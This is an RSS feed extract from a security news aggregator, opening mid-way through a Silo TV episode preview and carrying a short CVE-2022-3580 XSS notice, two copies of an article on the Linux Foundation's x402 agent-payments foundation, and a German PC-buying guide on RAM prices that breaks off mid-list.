Expected duration: Around 45 to 60 minutes



Season episode count: 10 episodes



Season finale: September 4, 2026



Main cast: Rebecca Ferguson, Common, Harriet Walter, Chinaza Uche, Avi Nash, Alexandria Riley, Shane McRae and Remmie Milner




Ashley Zukerman, Jessica Henwick, Laura Innes, Jessica Brown Findlay, Morven Christie, Reed Birney, Matt Craven and Colin Hanks are among the major additions to the Season 3 cast. Steve Zahn also returns after playing Solo in Season 2.



What happened before Episode 4?



Spoilers ahead for Silo Season 3 Episodes 1 to 3.



Season 3 follows two connected timelines. Inside Silo 18, Juliette has returned after surviving her journey outside, but her damaged memories have left her vulnerable. Camille Sims and Nurse Amy have been using memory-altering drugs as part of a wider attempt to control her and weaken any resistance inside the silo.



Juliette gradually learns that other residents have also lost parts of their memories. Patrick Kennedy tells her about the drugs being used to make people forget, while Juliette continues searching for Lukas Kyle and the truth hidden from her.



Meanwhile, the Before Times storyline follows journalist Helen Drew and pilot Charlotte Keene. Helen investigates secret memory-erasure experiments connected to Dr. Crnkovich, while Charlotte begins recovering memories of a suspicious military operation. Their story appears closely tied to the political crisis and possible attack that eventually forced humanity underground.



What to expect from Silo Season 3 Episode 4



Episode 4 will likely push Juliette closer to discovering who altered her memories and why the Algorithm considers her dangerous. Her growing resistance to the medication also puts Camille, Sims and Nurse Amy under pressure, since they can no longer assume that Juliette will remain confused or obedient.



Patrick’s information about the forgetfulness drugs may help Juliette identify more people who were secretly controlled. Lukas could also return to the main storyline, especially because his knowledge of the Legacy and Salvador Quinn’s message makes him important to understanding the silos.



The Before Times plot should continue exploring Helen’s investigation and Charlotte’s recovered memories. Charlotte’s mission may reveal who planned the disaster, what the strange substance was and whether powerful officials helped create the conditions that led to the silo project.



As both timelines develop, Episode 4 should make the connection between Juliette’s present-day struggle and the original architects of the silo system much clearer.



Silo Season 3 Episode 4 streams on Apple TV on July 24. What do you think Juliette will remember next, and how deeply is Camille involved in the plan to control Silo 18? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[CVE-2022-3580 | SourceCodester Cashier Queuing System 1.0.1 User Creation cross site scripting (EUVD-2022-42944)]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in SourceCodester Cashier Queuing System 1.0.1. This affects an unknown function of the component User Creation Handler. Executing a manipulation can lead to cross site scripting.

This vulnerability is handled as CVE-2022-3580. The attack can...]]></description>
<link>https://tsecurity.de/de/3675941/sicherheitsluecken/cve-2022-3580-sourcecodester-cashier-queuing-system-101-user-creation-cross-site-scripting-euvd-2022-42944/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675941/sicherheitsluecken/cve-2022-3580-sourcecodester-cashier-queuing-system-101-user-creation-cross-site-scripting-euvd-2022-42944/</guid>
<pubDate>Fri, 17 Jul 2026 13:55:21 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/sourcecodester:cashier_queuing_system">SourceCodester Cashier Queuing System 1.0.1</a>. This affects an unknown function of the component <em>User Creation Handler</em>. Executing a manipulation can lead to cross site scripting.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2022-3580">CVE-2022-3580</a>. The attack can be executed remotely. Additionally, an exploit exists.]]></content:encoded>
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<title><![CDATA[New Linux Foundation project aims to make payments native to AI workflows]]></title>
<description><![CDATA[The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.



The x402 protocol, originally developed by Coinbase, embeds payment cap...]]></description>
<link>https://tsecurity.de/de/3675554/it-security-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675554/it-security-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
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<p class="wp-block-paragraph">The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.</p>



<p class="wp-block-paragraph">The x402 protocol, originally <a href="https://www.coinbase.com/en-in/developer-platform/discover/launches/x402" target="_blank" rel="noreferrer noopener">developed</a> by Coinbase, embeds payment capabilities directly into web interactions, allowing AI agents, APIs, and applications to send and receive payments as part of standard HTTP requests rather than through separate checkout or billing systems, according to the Linux Foundation. The protocol supports multiple payment types, from traditional cards to stablecoins.</p>



<p class="wp-block-paragraph">“Under the neutral governance of the Linux Foundation, the x402 Foundation will allow developers, financial institutions, cloud providers, and other community members to collaboratively shape the protocol’s development,” the Linux Foundation said in a statement. “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in.”</p>



<p class="wp-block-paragraph">Forty organizations have joined the x402 Foundation since the Linux Foundation announced plans for the project in April, the statement added.</p>



<p class="wp-block-paragraph">Members include Amazon Web Services (AWS), Google, Visa, Mastercard, Stripe, American Express, Cloudflare, Coinbase, Fiserv, Ripple, and Shopify, representing cloud providers, payment companies, and financial services firms.</p>



<h2 class="wp-block-heading">Foundation targets a gap in agent-to-agent commerce</h2>



<p class="wp-block-paragraph">The announcement comes as software vendors add AI agents to business applications and developer platforms. Many of these agents are designed to call APIs, access third-party services, and complete tasks on behalf of users, creating demand for ways to pay for digital services without relying on separate payment systems.</p>



<p class="wp-block-paragraph">Jim Zemlin, CEO of the Linux Foundation, said AI agents and automated systems are becoming active participants in the global economy but have lacked a native, secure way to transact.</p>



<p class="wp-block-paragraph">“By bringing together leading companies across finance, technology and more, we’re ensuring that the payment layer of the internet remains neutral, highly interoperable and ready to support digital commerce,” he said in the statement.</p>



<p class="wp-block-paragraph">The protocol addresses what several founding members described as a structural gap in how the web handles machine-initiated transactions.</p>



<h2 class="wp-block-heading">How the protocol works</h2>



<p class="wp-block-paragraph">The x402 protocol is based on the HTTP 402 “Payment Required” status code, which was originally defined for internet payments but has seen limited use.</p>



<p class="wp-block-paragraph">The protocol is intended for transactions involving paid APIs, AI services, cloud computing resources, digital content, and other online services that require payment. The Linux Foundation said it also supports machine-to-machine payments between software applications and can work with multiple payment methods, including traditional payment cards and stablecoins.</p>



<p class="wp-block-paragraph">Today, developers typically monetize APIs and online services through subscriptions, prepaid credits, API keys, or account-based billing systems. The Linux Foundation said x402 is designed to standardize payment directly within HTTP interactions, allowing applications and AI agents to complete transactions without separate payment flows or custom billing integrations.</p>



<h2 class="wp-block-heading">Governance structure spans payments, cloud and blockchain sectors</h2>



<p class="wp-block-paragraph">Under the Linux Foundation’s neutral governance model, the x402 Foundation will let developers, financial institutions, cloud providers, and other members collaboratively shape the protocol’s development.</p>



<p class="wp-block-paragraph">“This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in,” the statement added.</p>



<p class="wp-block-paragraph">Technology vendors have introduced AI agents that can search for information, generate code, analyze documents, and interact with external applications. Many of those systems also rely on APIs and cloud-based services to complete tasks.</p>



<p class="wp-block-paragraph">According to the Linux Foundation, x402 is designed to provide a standard way for those applications and agents to pay for services during a transaction rather than relying on separate purchasing or billing processes. The foundation said developers can integrate payment capabilities into applications using open web standards across different payment providers and software platforms.</p>



<h2 class="wp-block-heading">Growing ecosystem</h2>



<p class="wp-block-paragraph">The launch comes as technology vendors begin adding payment capabilities to AI agent platforms.</p>



<p class="wp-block-paragraph">In May, AWS introduced <a href="https://aws.amazon.com/blogs/machine-learning/agents-that-transact-introducing-amazon-bedrock-agentcore-payments-built-with-coinbase-and-stripe/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore Payments</a> in preview, enabling AI agents to autonomously pay for APIs, Model Context Protocol (MCP) servers, web content, and other agents. AWS had then said the service uses the x402 protocol to negotiate HTTP 402 payment requests while handling wallet authentication, spending controls, and transaction logging.</p>



<p class="wp-block-paragraph">The Linux Foundation said the x402 Foundation will serve as the neutral home for the protocol as organizations contribute technical specifications, implementation guidance, and future extensions. The Linux Foundation and Coinbase did not respond to requests for additional comment by publication time.</p>



<p class="wp-block-paragraph"><em>The article originally appeared on <a href="https://www.infoworld.com/article/4198170/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows.html">InfoWorld</a>.</em></p>
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<title><![CDATA[New Linux Foundation project aims to make payments native to AI workflows]]></title>
<description><![CDATA[The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.



The x402 protocol, originally developed by Coinbase, embeds payment cap...]]></description>
<link>https://tsecurity.de/de/3675546/ai-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675546/ai-nachrichten/new-linux-foundation-project-aims-to-make-payments-native-to-ai-workflows/</guid>
<pubDate>Fri, 17 Jul 2026 11:04:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The Linux Foundation has launched the x402 Foundation, a new industry body that will oversee the x402 payment protocol, an open standard designed to let AI agents, applications, and APIs pay for digital services over HTTP.</p>



<p class="wp-block-paragraph">The x402 protocol, originally <a href="https://www.coinbase.com/en-in/developer-platform/discover/launches/x402" target="_blank" rel="noreferrer noopener">developed</a> by Coinbase, embeds payment capabilities directly into web interactions, allowing AI agents, APIs, and applications to send and receive payments as part of standard HTTP requests rather than through separate checkout or billing systems, according to the Linux Foundation. The protocol supports multiple payment types, from traditional cards to stablecoins.</p>



<p class="wp-block-paragraph">“Under the neutral governance of the Linux Foundation, the x402 Foundation will allow developers, financial institutions, cloud providers, and other community members to collaboratively shape the protocol’s development,” the Linux Foundation said in a statement. “This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in.”</p>



<p class="wp-block-paragraph">Forty organizations have joined the x402 Foundation since the Linux Foundation announced plans for the project in April, the statement added.</p>



<p class="wp-block-paragraph">Members include Amazon Web Services (AWS), Google, Visa, Mastercard, Stripe, American Express, Cloudflare, Coinbase, Fiserv, Ripple, and Shopify, representing cloud providers, payment companies, and financial services firms.</p>



<h2 class="wp-block-heading">Foundation targets a gap in agent-to-agent commerce</h2>



<p class="wp-block-paragraph">The announcement comes as software vendors add AI agents to business applications and developer platforms. Many of these agents are designed to call APIs, access third-party services, and complete tasks on behalf of users, creating demand for ways to pay for digital services without relying on separate payment systems.</p>



<p class="wp-block-paragraph">Jim Zemlin, CEO of the Linux Foundation, said AI agents and automated systems are becoming active participants in the global economy but have lacked a native, secure way to transact.</p>



<p class="wp-block-paragraph">“By bringing together leading companies across finance, technology and more, we’re ensuring that the payment layer of the internet remains neutral, highly interoperable and ready to support digital commerce,” he said in the statement.</p>



<p class="wp-block-paragraph">The protocol addresses what several founding members described as a structural gap in how the web handles machine-initiated transactions.</p>



<h2 class="wp-block-heading">How the protocol works</h2>



<p class="wp-block-paragraph">The x402 protocol is based on the HTTP 402 “Payment Required” status code, which was originally defined for internet payments but has seen limited use.</p>



<p class="wp-block-paragraph">The protocol is intended for transactions involving paid APIs, AI services, cloud computing resources, digital content, and other online services that require payment. The Linux Foundation said it also supports machine-to-machine payments between software applications and can work with multiple payment methods, including traditional payment cards and stablecoins.</p>



<p class="wp-block-paragraph">Today, developers typically monetize APIs and online services through subscriptions, prepaid credits, API keys, or account-based billing systems. The Linux Foundation said x402 is designed to standardize payment directly within HTTP interactions, allowing applications and AI agents to complete transactions without separate payment flows or custom billing integrations.</p>



<h2 class="wp-block-heading">Governance structure spans payments, cloud and blockchain sectors</h2>



<p class="wp-block-paragraph">Under the Linux Foundation’s neutral governance model, the x402 Foundation will let developers, financial institutions, cloud providers, and other members collaboratively shape the protocol’s development.</p>



<p class="wp-block-paragraph">“This open structure ensures that payments remain highly secure and adaptable, supporting multiple payment types, from traditional cards to stablecoins, without vendor lock-in,” the statement added.</p>



<p class="wp-block-paragraph">Technology vendors have introduced AI agents that can search for information, generate code, analyze documents, and interact with external applications. Many of those systems also rely on APIs and cloud-based services to complete tasks.</p>



<p class="wp-block-paragraph">According to the Linux Foundation, x402 is designed to provide a standard way for those applications and agents to pay for services during a transaction rather than relying on separate purchasing or billing processes. The foundation said developers can integrate payment capabilities into applications using open web standards across different payment providers and software platforms.</p>



<h2 class="wp-block-heading">Growing ecosystem</h2>



<p class="wp-block-paragraph">The launch comes as technology vendors begin adding payment capabilities to AI agent platforms.</p>



<p class="wp-block-paragraph">In May, AWS introduced <a href="https://aws.amazon.com/blogs/machine-learning/agents-that-transact-introducing-amazon-bedrock-agentcore-payments-built-with-coinbase-and-stripe/" target="_blank" rel="noreferrer noopener">Amazon Bedrock AgentCore Payments</a> in preview, enabling AI agents to autonomously pay for APIs, Model Context Protocol (MCP) servers, web content, and other agents. AWS had then said the service uses the x402 protocol to negotiate HTTP 402 payment requests while handling wallet authentication, spending controls, and transaction logging.</p>



<p class="wp-block-paragraph">The Linux Foundation said the x402 Foundation will serve as the neutral home for the protocol as organizations contribute technical specifications, implementation guidance, and future extensions. The Linux Foundation and Coinbase did not respond to requests for additional comment by publication time.</p>
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<title><![CDATA[PC-Kaufberatung 2026: RAM kostet jetzt das 4x – hier 3 Setups, mit denen Sie sparen]]></title>
<description><![CDATA[Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfe...]]></description>
<link>https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/</guid>
<pubDate>Fri, 17 Jul 2026 10:32:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach <a href="https://www.pcwelt.de/article/2806063/so-macht-chatgpt-ihren-alltag-spuerbar-leichter-16-aufgaben-rasch-erledigen-lassen.html">KI</a>-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. Für Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem <a href="https://www.pcwelt.de/article/3027453/nvidia-und-amd-erwagen-die-wiederbelebung-alterer-chips-um-den-steigenden-pc-kosten-entgegenzuwirken.html" target="_blank" rel="noreferrer noopener">äußerst angespannten Markt</a> konfrontiert.</p>



<div class="ppl_wrap"><div class="top_head"><p class="pro_tag">PROMOTION</p><p><strong>Ihr Laptop kann nur ein Ding? Dieses 2-in-1-Modell passt sich Ihrem Workflow an</strong></p></div><div class="ppl_row"><div class="pro_right promotion-item__image-outer-wrapper--small"><img decoding="async" class="promotion-item__image" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/HP-PPL-5.png" loading="lazy"></div><p class="ppl_text">
</p><p>Das HP OmniBook 5 Flip bietet dank 360°-Scharnier vier Nutzungsmodi – vom klassischen Laptop bis zum Tablet. Der Intel® Core™ 7 Prozessor sorgt für flüssiges Arbeiten im Alltag. Das 14 Zoll 2K-Touchdisplay (1.920 x 1.200) stellt Inhalte gestochen scharf dar, 16 GB RAM und 512 GB SSD bieten Leistung und Platz für Ihre Projekte. Die Fast-Charge-Funktion bringt Sie schnell zurück auf 50 % Akkuladung.</p>
</div><div class="clear-both"></div><div class="more_btn"><a href="http://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11657&amp;clickref=rss&amp;ued=https://www.cyberport.de/notebook-und-tablet/notebooks/hp/pdp/1c24-6zr/hp-omnibook-5-flip-14-2k-touchscreen-core-7-150u-16gb-512gb-ssd-windows-11-home-14-fp0471ng.html" target="_blank" class="promotion-view-deal-link" rel="noopener">Erfahren Sie mehr über das HP OmniBook 5 Flip</a></div></div>



<p>Gleichzeitig ist die technische Verlockung groß: Mit Nvidias <a href="https://www.pcwelt.de/article/2572482/geforce-rtx-5000er-im-technik-check-nicht-jede-ist-zu-empfehlen.html" target="_blank" rel="noreferrer noopener">Blackwell-Architektur</a> (RTX 50-Serie) und AMDs effizienten <a href="https://www.pcwelt.de/article/2428752/amd-ryzen-9000-pro-contra-acht-gruende-fuer-oder-gegen-kauf-beratung.html" target="_blank" rel="noreferrer noopener">Ryzen-9000</a>-Prozessoren stehen technologische Schwergewichte in den Regalen, die einen massiven Leistungssprung versprechen. Lohnt sich also das Warten auf bessere Preise? Die klare Antwort lautet: <strong>Nein, zumindest nicht in absehbarer Zeit.</strong> Wer jetzt einen neuen PC braucht, muss nicht warten – sollte aber clever konfigurieren, um die aktuellen Stolpersteine der Industrie zu umschiffen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877623fb"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/RAM-Preise-Idealo-DDR5-7200.png?w=1200" alt="RAM Preise Idealo DDR5 7200" class="wp-image-3173112" width="1200" height="816" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Preisschock beim Arbeitsspeicher: Besonders für schnellen DDR5-RAM haben sich die Preise teils vervierfacht. Der zwingende Kompromiss: Statt zu DDR5-7200 greifen wir aktuell besser zu DDR5-6000 – oder gleich zum älteren DDR4-Speicher.</figcaption></figure><p class="imageCredit">Foundry</p></div>



<div class="wp-block-idg-base-theme-box-text inline-box">
<p><strong>Der RAM-Schock – und wie man damit umgeht</strong></p>



<p>Während CPUs und Grafikkarten zwar teuer, aber immerhin verlässlich lieferbar sind, entwickelt sich der Arbeitsspeicher (<a href="https://www.pcwelt.de/article/2894110/dieser-arbeitsspeicher-ist-aktuell-die-beste-wahl-fuer-gamer.html" target="_blank" rel="noreferrer noopener">RAM</a>) immer mehr zum Schmerzpunkt für jeden PC-Bauer. Der Grund: Die großen Speicherhersteller priorisieren zunehmend den lukrativen <strong>HBM-Speicher</strong> (High Bandwidth Memory) für KI-Chips und <strong>schichten ihre Produktionskapazitäten um</strong>. Gleichzeitig saugen die neuen KI-Rechenzentren den verbleibenden Markt für klassischen DDR5-Arbeitsspeicher leer, da moderne Server-Cluster neben HBM auch gigantische Mengen an regulärem RAM benötigen. Für den klassischen Desktop-Markt stehen dadurch deutlich weniger Produktionskapazitäten zur Verfügung. Die Folge ist eine drastische Verknappung bei herkömmlichen Riegeln. DDR5-Kits kosten aktuell teilweise viermal so viel wie noch im Herbst 2025 – ein vernünftiges 32-GB-Kit reißt schnell ein Loch von über 400 Euro in die Kasse. Aus dieser Entwicklung ergeben sich neue Spielregeln für den PC-Kauf, mit denen sich die Preisexplosion spürbar entschärfen lässt.</p>



<ul class="wp-block-list">
<li><strong>Geschwindigkeit drosseln:</strong> Wer Premium-Preise zahlt, den erwartet auch Premium-Leistung. Doch extrem schneller Speicher wie DDR5-7200 rechnet sich aktuell wirtschaftlich kaum. Der Sweetspot für moderne AMD- und Intel-Systeme liegt 2026 bei <strong>DDR5-6000</strong> – idealerweise mit CL30-Latenzen (z.B. <a href="https://www.amazon.de/dp/B0D4NLTM6R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Viper Venom DDR5-6000 2X16GB, CL30</a>). Der Leistungsunterschied im Alltag ist marginal, die Preisersparnis deutlich spürbar.</li>



<li><strong>Verzichten Sie auf „Zukunfts-Speck“:</strong> Niemand sollte aktuell Arbeitsspeicher auf Vorrat kaufen. Hat man früher gerne großzügig verbaut und direkt zu 64 GB gegriffen, so lautet die Devise heute: 32 GB sind für die meisten Gamer und Kreativanwender (Videoschnitt) aktuell der vernünftige Sweetspot. Mehr Kapazität verschlingt nur das dringend benötigte Budget für die Grafikkarte oder den Prozessor. Ausnahme: bedingungslose High-End-Konfigurationen.</li>



<li><strong>DDR4 als Rettungsanker:</strong> Für reine Office-PCs oder sparsame Builds lohnt sich 2026 paradoxerweise der Blick in die Vergangenheit. Eine alte AM4-Plattform mit DDR4-Speicher (z.B. <a href="https://www.amazon.de/dp/B07RW6Z692?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Corsair Vengeance DDR4-3200 2x16GB, CL16</a>) kostet einen Bruchteil moderner Systeme. Die DDR4-Preise sind zwar branchenbedingt ebenfalls gestiegen, allerdings etwas moderater. Für aktuelle Gaming-Boliden (wie die <a href="https://www.pcwelt.de/article/3058167/die-besten-amd-am5-mainboards.html" target="_blank" rel="noreferrer noopener">AM5-Plattform</a>) führt jedoch kein Weg am teuren DDR5-Speicher vorbei.</li>
</ul>
</div>



<h2 class="wp-block-heading">Drei Beispiel-Konfigurationen: Für jeden Anspruch das richtige Setup</h2>



<p>Die strategischen Fragen sind geklärt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten für ein optimales Preis-Leistungsverhältnis auf. Um Ihnen maximale Flexibilität zu ermöglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So können Sie je nach persönlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.</p>



<div class="wp-block-idg-base-theme-box-text inline-box">
<p><strong>📌</strong><strong> Redaktioneller Hinweis zur Preiskalkulation</strong></p>



<p>Die nachfolgenden Preisrahmen beziehen sich rein auf die <strong>Kern-Komponenten des PCs </strong>(Zentralrechner). Nicht eingerechnet sind optionale Zusatzlüfter (falls nicht ab Werk verbaut), separate optische Laufwerke sowie externe Peripherie wie Monitor, Tastatur, Maus oder die Lizenz für das Betriebssystem (Windows 11). Planen Sie dafür je nach Bedarf ein zusätzliches Budget ein. Beratung beim Kauf bieten unsere Ratgeber und Vergleichstests:</p>



<ul class="wp-block-list">
<li><a href="https://www.pcwelt.de/article/3127541/beste-grafikkarten-fuer-gamer.html" target="_blank" rel="noreferrer noopener">Diese Grafikkarten sind ihr Geld wert</a></li>



<li><a href="https://www.pcwelt.de/article/1165008/der-ideale-gaming-prozessor-tipps-zum-cpu-kauf.html" target="_blank" rel="noreferrer noopener">Der ideale Gaming-Prozessor ab 80 Euro</a></li>



<li><a href="https://www.pcwelt.de/article/3058167/die-besten-amd-am5-mainboards.html" target="_blank" rel="noreferrer noopener">Die besten AM5-Mainboards für AMD Ryzen 9000, 8000 und 7000</a></li>



<li><a href="https://www.pcwelt.de/article/3143204/beste-netzteile-ab-650-watt.html" target="_blank" rel="noreferrer noopener">Die besten PC-Netzteile: Unsere Empfehlungen von 650 bis 1650 Watt</a></li>



<li><a href="https://www.pcwelt.de/article/3041188/bester-monitor-test.html" target="_blank" rel="noreferrer noopener">Die besten Monitore für Office, Gaming &amp; 4K</a></li>



<li><a href="https://www.pcwelt.de/article/1202798/test-kabellose-tastaturen.html" target="_blank" rel="noreferrer noopener">Die besten kabellosen Tastaturen im Test</a></li>



<li><a href="https://www.pcwelt.de/article/1187432/vergleich-test-wireless-gaming-maus-drahtlos.html" target="_blank" rel="noreferrer noopener">Die besten kabellosen Gaming-Mäuse im Test</a></li>



<li><a href="https://www.pcwelt.de/article/1178130/test-gaming-headsets-vergleich.html" target="_blank" rel="noreferrer noopener">Die besten Gaming-Headsets im Test</a></li>



<li><a href="https://www.pcwelt.de/article/3165064/windows-11-pro-fur-69-euro-im-pc-welt-store.html" target="_blank" rel="noreferrer noopener">Windows 11 Pro für 69 Euro im PC-WELT-Store</a></li>
</ul>
</div>



<h2 class="wp-block-heading">Konfiguration 1: Der Office- und Alltags-PC</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877630f5"}' data-wp-interactive="core/image" class="wp-block-image size-full is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Ryzen-5-4600G.jpg?quality=50&amp;strip=all" alt="Ryzen 5 4600G" class="wp-image-3173118" width="789" height="776" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Der Star dieses Setups: Der Ryzen 5 5600G verfügt über eine integrierte Grafikeinheit und macht eine dedizierte Grafikkarte im Office-PC überflüssig. Das senkt den Gesamtpreis deutlich, erlaubt aber nur leichtes Gaming auf Einsteiger-Niveau.</figcaption></figure><p class="imageCredit">AMD</p></div>



<h3 class="wp-block-heading toc">Konfiguration 1: Zuverlässigkeit, leiser Betrieb und strikte Budgetkontrolle</h3>



<p>Fürs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwähnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusätzlicher Vorteil dieser Konfiguration ist ihre Zuverlässigkeit: Die Plattform ist ausgereift, günstig und bietet mehr als genug Leistung für typische Office- und Alltagsanwendungen.</p>



<ul class="wp-block-list">
<li><strong>Preisrahmen:</strong> ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie &amp; OS)</li>
</ul>



<ul class="wp-block-list">
<li><strong>Prozessor (CPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong><em>:</em> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/amd+ryzen+5+5600g+prozessor+725821" target="_blank" rel="noreferrer noopener">AMD Ryzen 5 5600G</a> – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nötig.</li>



<li><strong>Alternative</strong><em>:</em> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/intel+core+i3+14100+823580" target="_blank" rel="noreferrer noopener">Intel Core i3-14100</a> – Reicht für reine Office-Arbeiten ebenfalls völlig aus. <strong>Wichtig:</strong> Achten Sie darauf, nicht aus Versehen die <em>14100F-Variante</em> zu kaufen, weil dieser Version die Grafikeinheit fehlt.</li>
</ul>
</li>



<li><strong>Mainboard:</strong> <a href="https://www.amazon.de/dp/B0F4H61PLX?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Gigabyte B550M DS3H</a> (für AMD) oder <a href="https://www.amazon.de/dp/B0BNQFRNJL?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus Prime B760M-K D4</a> (für Intel). Beide Boards setzen auf den günstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen Anschlüsse für den Alltag, darunter schnelle USB-Ports, M.2-Steckplätze für NVMe-SSDs und genügend Erweiterungsmöglichkeiten für spätere Upgrades.</li>



